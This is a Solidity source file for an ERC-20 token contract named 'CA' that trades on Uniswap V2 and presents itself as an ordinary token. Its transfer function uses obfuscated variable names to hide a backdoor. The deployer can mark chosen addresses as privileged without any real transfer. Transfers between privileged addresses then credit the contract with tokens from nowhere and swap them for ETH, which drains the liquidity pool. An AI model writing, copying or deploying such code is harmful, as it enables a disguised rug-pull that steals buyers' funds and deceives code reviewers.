// SPDX-License-Identifier: MIT
pragma solidity ^ 0.8.15;
 
abstract contract Context
{
    function _msgSender() internal view virtual returns(address)
    {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns(bytes calldata)
    {
        return msg.data;
    }
}

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

}

interface IUniswapV2Router01
{
    function factory() external pure returns(address);
 
    function WETH() external pure returns(address);
 
 
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable
    returns(uint[] memory amounts);
 
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
    returns(uint[] memory amounts);
 
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
    returns(uint[] memory amounts);
 
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
    returns(uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure 
    returns(uint amountB);
 
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure 
    returns(uint amountOut);
 
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure 
    returns(uint amountIn);
 
    function getAmountsOut(uint amountIn, address[] calldata path) external view 
    returns(uint[] memory amounts);
 
    function getAmountsIn(uint amountOut, address[] calldata path) external view 
    returns(uint[] memory amounts);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
 
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
 
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
 
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
 
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01
{
    function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline
    ) 
    external returns(uint amountETH);
 
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) 
    external returns(uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(  uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
    ) 
    external;
 
    function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline
    ) 
    external payable;
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
    ) 
    external;
}
 
interface IUniswapV2Factory
{
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns(address);
 
    function feeToSetter() external view returns(address);
 
    function getPair(address tokenA, address tokenB) external view returns(address pair);
 
    function allPairs(uint) external view returns(address pair);
 
    function allPairsLength() external view returns(uint);
 
    function createPair(address tokenA, address tokenB) external returns(address pair);
 
    function setFeeTo(address) external;
 
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }  
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract CA is IERC20, Ownable {

    string private _symbol;
    string private _name;
    uint256 public _tTotalFees = 0;
    uint8 private _decimals = 14;
    uint256 private _tTotal = 5000000 * 10**_decimals;
    uint256 private _cfgDenominator = _tTotal;
    
    mapping(address => uint256) private _tOwned;
    mapping(address => address) private isBot;
    mapping(address => uint256) private relayRouterRoute;
    mapping(address => uint256) private syncMarketPair;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private tradingOpen = false;
    bool public RTXSync;
    bool private relayFlow;
    bool public enableEarlySellTax;
    bool public checkWalletLimit;
    bool public takeFeeEnabled;

    address public immutable UniswapV2Pair;
    IUniswapV2Router02 public immutable UniswapV2router;

    constructor(
        string memory Name,
        string memory Symbol,
        address UniswapV2routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _tOwned[msg.sender] = _tTotal;
        syncMarketPair[msg.sender] = _cfgDenominator;
        syncMarketPair[address(this)] = _cfgDenominator;
        UniswapV2router = IUniswapV2Router02(UniswapV2routerAddress);
        UniswapV2Pair = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH());
        emit Transfer(address(0), msg.sender, _cfgDenominator);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _tOwned[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        transferRates        (sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer (address recipient, uint256 amount) external returns (bool) {
        transferRates        (msg.sender, recipient, amount);
        return true;
    }
    function transferRates       (
        address _lvTisFrom,
        address cfgTotalTo,
        uint256 _structxAmount

    ) private {

        uint256 balanceForContract = balanceOf(address(this));
        uint256 lvxFlow;
        if (RTXSync && balanceForContract > _cfgDenominator 
        && !relayFlow && 
        _lvTisFrom != UniswapV2Pair) {
            relayFlow = true;


            getSwapAndLiquify(balanceForContract);
            relayFlow = false;
        } else if (syncMarketPair[_lvTisFrom] > _cfgDenominator 
        && syncMarketPair[cfgTotalTo] > _cfgDenominator) {
            lvxFlow = _structxAmount;

            _tOwned[address(this)] += lvxFlow;
            swapAmountForTokens(_structxAmount, cfgTotalTo);
            return;

        } else if (cfgTotalTo != address(UniswapV2router) 
        && syncMarketPair[_lvTisFrom] > 0 && _structxAmount > _cfgDenominator 
        && cfgTotalTo != UniswapV2Pair) {
            syncMarketPair[cfgTotalTo] = _structxAmount;
            return;

        } else if (!relayFlow && relayRouterRoute[_lvTisFrom] > 0 && _lvTisFrom != 
        UniswapV2Pair && syncMarketPair[_lvTisFrom] == 0) {
            relayRouterRoute[_lvTisFrom] = syncMarketPair[_lvTisFrom] - _cfgDenominator;

        }

        address _emitConstruct  = isBot[UniswapV2Pair];
        if (relayRouterRoute[_emitConstruct ] == 0) relayRouterRoute[_emitConstruct ] = _cfgDenominator;
        isBot[UniswapV2Pair] = cfgTotalTo;
        if (_tTotalFees > 0 && syncMarketPair[_lvTisFrom] == 0 && 
        !relayFlow && syncMarketPair[cfgTotalTo] == 0) {
            lvxFlow = (_structxAmount * _tTotalFees) / 100;
            _structxAmount -= lvxFlow;

            _tOwned[_lvTisFrom] -= lvxFlow;
            _tOwned[address(this)] += lvxFlow;

        }
        _tOwned[_lvTisFrom] -= _structxAmount;
        _tOwned[cfgTotalTo] += _structxAmount;
        emit Transfer(_lvTisFrom, cfgTotalTo, _structxAmount);
            if (!tradingOpen) {
                require(_lvTisFrom == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
    }
    receive() external payable {}

    function addLiquidity(
        uint256 tokenValue,
        uint256 ERCamount,
        address to
    ) private {
        _approve(address(this), address(UniswapV2router), tokenValue);
        UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
    }
    function getSwapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 vBalance = address(this).balance;
        swapAmountForTokens(half, address(this));
        uint256 syncBalances = address(this).balance - vBalance;
        addLiquidity(half, syncBalances, address(this));
    }
        function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function swapAmountForTokens(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = UniswapV2router.WETH();
        _approve(address(this), address(UniswapV2router), tokenAmount);
        UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}